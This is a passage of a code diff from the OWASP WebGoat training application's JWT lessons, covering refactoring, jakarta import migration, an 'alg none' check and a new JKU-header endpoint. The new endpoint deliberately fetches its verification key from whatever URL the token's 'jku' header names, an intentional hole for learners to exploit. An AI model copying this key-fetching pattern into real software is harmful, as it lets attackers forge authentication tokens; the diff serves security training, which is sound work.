-    claims.put("admin", "false");
-    claims.put("user", user);
+    Map<String, Object> claims = Map.of("admin", "false", "user", user);
    String token =
        Jwts.builder()
            .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
@ -114,6 +108,9 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
      Claims claims = (Claims) jwt.getBody();
      String user = (String) claims.get("user");
      if ("Tom".equals(user)) {
+        if ("none".equals(jwt.getHeader().get("alg"))) {
+          return ok(success(this).feedback("jwt-refresh-alg-none").build());
+        }
        return ok(success(this).build());
      }
      return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
--- a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java
+++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java
@ -42,10 +42,6 @@ import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;

-/**
- * @author nbaars
- * @since 4/23/17.
- */
@RestController
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
 public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
--- a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java
+++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java
@ -31,14 +31,14 @@ import io.jsonwebtoken.Jwt;
 import io.jsonwebtoken.JwtException;
 import io.jsonwebtoken.Jwts;
 import io.jsonwebtoken.impl.TextCodec;
+import jakarta.annotation.PostConstruct;
+import jakarta.servlet.http.Cookie;
+import jakarta.servlet.http.HttpServletResponse;
 import java.time.Duration;
 import java.time.Instant;
 import java.util.Date;
 import java.util.HashMap;
 import java.util.Map;
-import javax.annotation.PostConstruct;
-import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletResponse;
 import org.apache.commons.lang3.StringUtils;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
@ -58,10 +58,6 @@ import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.ResponseStatus;
 import org.springframework.web.bind.annotation.RestController;

-/**
- * @author nbaars
- * @since 4/23/17.
- */
@RestController
@AssignmentHints({
  "jwt-change-token-hint1",
--- a/src/main/java/org/owasp/webgoat/lessons/jwt/claimmisuse/JWTHeaderJKUEndpoint.java
+++ b/src/main/java/org/owasp/webgoat/lessons/jwt/claimmisuse/JWTHeaderJKUEndpoint.java
@ -0,0 +1,70 @@
+package org.owasp.webgoat.lessons.jwt.claimmisuse;
+
+import com.auth0.jwk.JwkException;
+import com.auth0.jwk.JwkProvider;
+import com.auth0.jwk.JwkProviderBuilder;
+import com.auth0.jwt.JWT;
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTVerificationException;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.security.interfaces.RSAPublicKey;
+import org.apache.commons.lang3.StringUtils;
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AssignmentHints;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.springframework.web.bind.annotation.PathVariable;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+@RequestMapping("/JWT/jku")
+@RestController
+@AssignmentHints({
+  "jwt-jku-hint1",
+  "jwt-jku-hint2",
+  "jwt-jku-hint3",
+  "jwt-jku-hint4",
+  "jwt-jku-hint5"
+})
+public class JWTHeaderJKUEndpoint extends AssignmentEndpoint {
+
+  @PostMapping("/follow/{user}")
+  public @ResponseBody String follow(@PathVariable("user") String user) {
+    if ("Jerry".equals(user)) {
+      return "Following yourself seems redundant";
+    } else {
+      return "You are now following Tom";
+    }
+  }
+
+  @PostMapping("/delete")
+  public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) {
+    if (StringUtils.isEmpty(token)) {
+      return failed(this).feedback("jwt-invalid-token").build();
+    } else {
+      try {
+        var decodedJWT = JWT.decode(token);
+        var jku = decodedJWT.getHeaderClaim("jku");
+        JwkProvider jwkProvider = new JwkProviderBuilder(new URL(jku.asString())).build();
+        var jwk = jwkProvider.get(decodedJWT.getKeyId());
+        var algorithm = Algorithm.RSA256((RSAPublicKey) jwk.getPublicKey());
+        JWT.require(algorithm).build().verify(decodedJWT);
+
+        String username = decodedJWT.getClaims().get("username").asString();
+        if ("Jerry".equals(username)) {
+          return failed(this).feedback("jwt-final-jerry-account").build();
+        }
+        if ("Tom".equals(username)) {
+          return success(this).build();
+        } else {
+          return failed(this).feedback("jwt-final-not-tom").build();
+        }
+      } catch (MalformedURLException | JWTVerificationException | JwkException e) {
+        return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
+      }
+    }
+  }
+}
--- a/Show More
+++ b/Show More